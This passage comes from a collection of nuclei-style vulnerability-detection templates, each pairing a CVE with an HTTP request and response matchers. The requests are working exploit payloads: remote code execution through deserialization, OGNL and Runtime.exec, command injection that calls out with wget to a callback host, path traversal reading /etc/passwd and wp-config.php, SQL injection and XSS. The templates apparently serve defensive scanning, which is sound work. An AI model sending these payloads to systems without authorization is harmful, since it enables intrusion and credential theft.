Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ=="],"matchers-condition":"and","matchers":[{"type":"word","words":["total","An internal server error occurred."],"condition":"and"},{"type":"status","status":[500]}]}]},{"id":"CVE-2020-13942","info":{"name":"Apache Unomi <1.5.2 - Remote Code Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/context.json"],"body":"{\n \"filters\": [\n {\n \"id\": \"{{id}}\",\n \"filters\": [\n {\n \"condition\": {\n \"parameterValues\": {\n \"nuclei\": \"script::Runtime.getRuntime().exec('id')\"\n },\n \"type\": \"profilePropertyCondition\"\n }\n }\n ]\n }\n ],\n \"sessionId\": \"nuclei\"\n}\n","headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json","context-profile-id"],"condition":"and"},{"type":"regex","part":"body","regex":["(profile|session)(Id|Properties|Segments)","[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-20988","info":{"name":"DomainMOD 4.13.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_username={{username}}&new_password={{password}}\n","POST /reporting/domains/cost-by-owner.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ndaterange=%22%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E\n"],"cookie-reuse":true,"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"value=\\\"\\\"/><script>alert(document.domain)</script>\")","contains(body_2, \"DomainMOD\")"],"condition":"and"}]}]},{"id":"CVE-2004-0519","info":{"name":"SquirrelMail 1.4.x - Folder Name Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/mail/src/compose.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2004-1965","info":{"name":"Open Bulletin Board (OpenBB) v1.0.6 - Open Redirect/XSS","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?redirect=http%3A%2F%2Fwww.interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2016-4437","info":{"name":"Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: rememberMe={{base64(concat(base64_decode(\"QUVTL0NCQy9QS0NTNVBhZA==\"),aes_cbc(base64_decode(generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"base64\")), base64_decode(\"kPH+bIxk5D2deZiIxcaaaA==\"), base64_decode(\"QUVTL0NCQy9QS0NTNVBhZA==\"))))}}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]}]}]},{"id":"CVE-2016-10134","info":{"name":"Zabbix - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)::"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Error in query [INSERT INTO profiles (profileid, userid","You have an error in your SQL syntax"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-0957","info":{"name":"Adobe AEM Dispatcher <4.15 - Rules Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/system/console?.css"],"headers":{"Authorization":"Basic YWRtaW46YWRtaW4K"},"matchers-condition":"and","matchers":[{"type":"word","words":["Adobe","java.lang","(Runtime)"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000129","info":{"name":"WordPress defa-online-image-protector <=3.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/defa-online-image-protector/redirect.php?r=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000143","info":{"name":"WordPress Photoxhibit 2.1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/photoxhibit/common/inc/pages/build.php?gid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10367","info":{"name":"Opsview Monitor Pro - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/monitoring/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2016-2389","info":{"name":"SAP xMII 15.0 for SAP NetWeaver 7.4 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000141","info":{"name":"WordPress Page Layout builder v1.9.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/page-layout-builder/includes/layout-settings.php?layout_settings_id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000146","info":{"name":"WordPress Pondol Form to Mail <=1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/pondol-formmail/pages/admin-mail-info.php?itemid=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-4977","info":{"name":"Spring Security OAuth2 Remote Command Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Unsupported response types: [978015547]"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2016-10993","info":{"name":"ScoreMe Theme - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-5649","info":{"name":"NETGEAR DGN2200 / DGND3700 - Admin Password Disclosure","severity":"critical"},"requests":[{"raw":["GET /BSW_cxttongr.htm HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<title>Smart Wizard Result "]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"password","group":1,"regex":["Success \"([a-z]+)\""],"part":"body"}]}]},{"id":"CVE-2016-1000135","info":{"name":"WordPress HDW Video Gallery <=1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/hdw-tube/mychannel.php?channel=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000128","info":{"name":"WordPress anti-plagiarism <=3.60 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/anti-plagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000132","info":{"name":"WordPress enhanced-tooltipglossary 3.2.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/enhanced-tooltipglossary/backend/views/admin_importexport.php?itemsnumber=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&msg=imported"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10973","info":{"name":"Brafton WordPress Plugin < 3.4.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=BraftonArticleLoader&tab=alert%28document.domain%29 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"tab = alert(document.domain);\")","contains(body_2, \"Brafton Article Loader\")"],"condition":"and"}]}]},{"id":"CVE-2016-7834","info":{"name":"Sony IPELA Engine IP Camera - Hardcoded Account","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/command/prima-factory.cgi"],"headers":{"Authorization":"Bearer cHJpbWFuYTpwcmltYW5h"},"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["gen5th","gen6th"],"condition":"or"},{"type":"status","status":[204]}]}]},{"id":"CVE-2016-1000154","info":{"name":"WordPress WHIZZ <=1.0.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/whizz/plugins/delete-plugin.php?plugin=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000153","info":{"name":"WordPress Tidio Gallery <=1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/tidio-gallery/popup-insert-help.php?galleryId=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-6601","info":{"name":"ZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/servlets/FetchFile?fileName=../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-3978","info":{"name":"Fortinet FortiOS - Open Redirect/Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login?redir=http://www.interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2016-1000134","info":{"name":"WordPress HDW Video Gallery <=1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/hdw-tube/playlist.php?playlist=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10940","info":{"name":"WordPress zm-gallery plugin 1.0 SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7422)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7421)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["status_code_1 == 302 && status_code_2 == 200 && status_code_3 == 200","contains(body_2, \"[zm_gallery id=\")","contains(body_2, \"\")","!contains(body_3, \"\")"],"condition":"and"}]}]},{"id":"CVE-2016-1555","info":{"name":"NETGEAR WNAP320 Access Point Firmware - Remote Command Injection","severity":"critical"},"requests":[{"raw":["POST /boardDataWW.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nmacAddress=112233445566%3Bwget+http%3A%2F%2F{{interactsh-url}}%23®info=0&writeData=Submit\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2016-10924","info":{"name":"Wordpress Zedna eBook download <1.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-6277","info":{"name":"NETGEAR Routers - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000133","info":{"name":"WordPress forget-about-shortcode-buttons 1.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php?source=1&ver=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10368","info":{"name":"Opsview Monitor Pro - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlogin_username={{username}}&login_password={{password}}&login=&back=//www.interact.sh&app=OPSVIEW\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2016-1000130","info":{"name":"WordPress e-search <=1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/e-search/tmpl/date_select.php?date-from=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000138","info":{"name":"WordPress Admin Font Editor <=1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10033","info":{"name":"WordPress PHPMailer < 5.2.18 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /?author=1 HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\n\n","POST /wp-login.php?action=lostpassword HTTP/1.1\nHost: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nwp-submit=Get+New+Password&redirect_to=&user_login={{username}}\n\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["wp-login.php?checkemail=confirm"]},{"type":"status","status":[302]}],"extractors":[{"type":"regex","name":"username","group":1,"regex":["Author:(?:[A-Za-z0-9 -\\_=\"]+)?([A-Za-z0-9]+)<\\/span>"],"internal":true,"part":"body"}]}]},{"id":"CVE-2016-3081","info":{"name":"Apache S2-032 Struts - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000137","info":{"name":"WordPress Hero Maps Pro 2.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/hero-maps-pro/views/dashboard/index.php?v=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-7552","info":{"name":"Trend Micro Threat Discovery Appliance 2.6.1062r1 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/logoff.cgi"],"headers":{"Cookie":"session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Memory map"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000126","info":{"name":"WordPress Admin Font Editor <=1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/admin-font-editor/css.php?size=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000155","info":{"name":"WordPress WPSOLR <=8.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000152","info":{"name":"WordPress Tidio-form <=1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/tidio-form/popup-insert-help.php?formId=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000131","info":{"name":"WordPress e-search <=1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/e-search/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000139","info":{"name":"WordPress Infusionsoft Gravity Forms <=1.5.11 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/infusionsoft/Infusionsoft/examples/leadscoring.php?ContactId=%22%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E%3C%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"><\"","input type=\"text\" name=\"ContactId\""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000127","info":{"name":"WordPress AJAX Random Post <=2.00 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/ajax-random-post/js.php?interval=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-8527","info":{"name":"Aruba Airwave <8.2.3.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/visualrf/group_list.xml?aps=1&start=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&end=500&match"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000136","info":{"name":"WordPress heat-trackr 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/heat-trackr/heat-trackr_abtest_add.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-3088","info":{"name":"Apache ActiveMQ Fileserver - Arbitrary File Write","severity":"critical"},"requests":[{"raw":["PUT /fileserver/{{randstr}}.txt HTTP/1.1\nHost: {{Hostname}}\n\n{{rand1}}\n","GET /fileserver/{{randstr}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["status_code_1==204","status_code_2==200","contains((body_2), '{{rand1}}')"],"condition":"and"}]}]},{"id":"CVE-2016-6195","info":{"name":"vBulletin <= 4.2.3 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/boards/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/board/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/forums/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/vb/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["type=dberror"]},{"type":"status","status":[200,503],"condition":"or"}]}]},{"id":"CVE-2016-4975","info":{"name":"Apache mod_userdir CRLF injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Set-Cookie\\s*?:(?:\\s*?|.*?;\\s*?))(crlfinjection=crlfinjection)(?:\\s*?)(?:$|;)"]}]}]},{"id":"CVE-2016-1000140","info":{"name":"WordPress New Year Firework <=1.1.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/new-year-firework/firework/index.php?text=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000142","info":{"name":"WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10956","info":{"name":"WordPress Mail Masta 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd","{{BaseURL}}/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200,500]}]}]},{"id":"CVE-2016-10960","info":{"name":"WordPress wSecure Lite < 2.4 - Remote Code Execution","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php"],"body":"wsecure_action=update&publish=\";} header(\"{{name}}: CVE-2016-10960\"); class WSecureConfig2 {var $test=\"","matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["{{name}}: CVE-2016-10960"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-7981","info":{"name":"SPIP <3.1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000149","info":{"name":"WordPress Simpel Reserveren <=3.5.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/simpel-reserveren/edit.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000148","info":{"name":"WordPress S3 Video <=0.983 - Cross-Site 